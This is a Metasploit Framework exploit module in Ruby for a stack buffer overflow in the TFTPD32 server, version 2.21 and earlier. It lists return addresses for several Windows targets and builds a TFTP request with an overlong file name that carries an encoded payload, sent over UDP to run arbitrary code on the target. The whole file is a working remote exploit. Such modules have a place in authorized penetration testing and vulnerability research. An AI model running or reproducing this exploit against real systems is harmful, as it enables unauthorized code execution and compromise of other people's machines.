##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in TFTPD32 version 2.21
        and prior. By sending a request for an overly long file name
        to the tftpd32 server, a remote attacker could overflow a buffer and
        execute arbitrary code on the system.
      },
      'Author'         => 'MC',
      'Version'        => '$Revision$',
      'References'     => 
        [ 
              ['CVE', '2002-2226'],
          ['OSVDB', '45903'],
          ['BID', '6199'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          ['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
          ['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ], 
          ['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ], 
          ['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],  
        ],

      'Privileged'     => true,

      'DisclosureDate' => 'Nov 19 2002'

      ))

      register_options(
        [
            Opt::RPORT(69)
        ], self)

  end

  def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    sploit = 
      "\x00\x01" + 
      rand_text_english(120, payload_badchars) + 
      "." +
      rand_text_english(135, payload_badchars) + 
      [target.ret].pack('V') +
      payload.encoded + 
      "\x00"
      
    udp_sock.put(sploit)
    
    disconnect_udp    
  end

end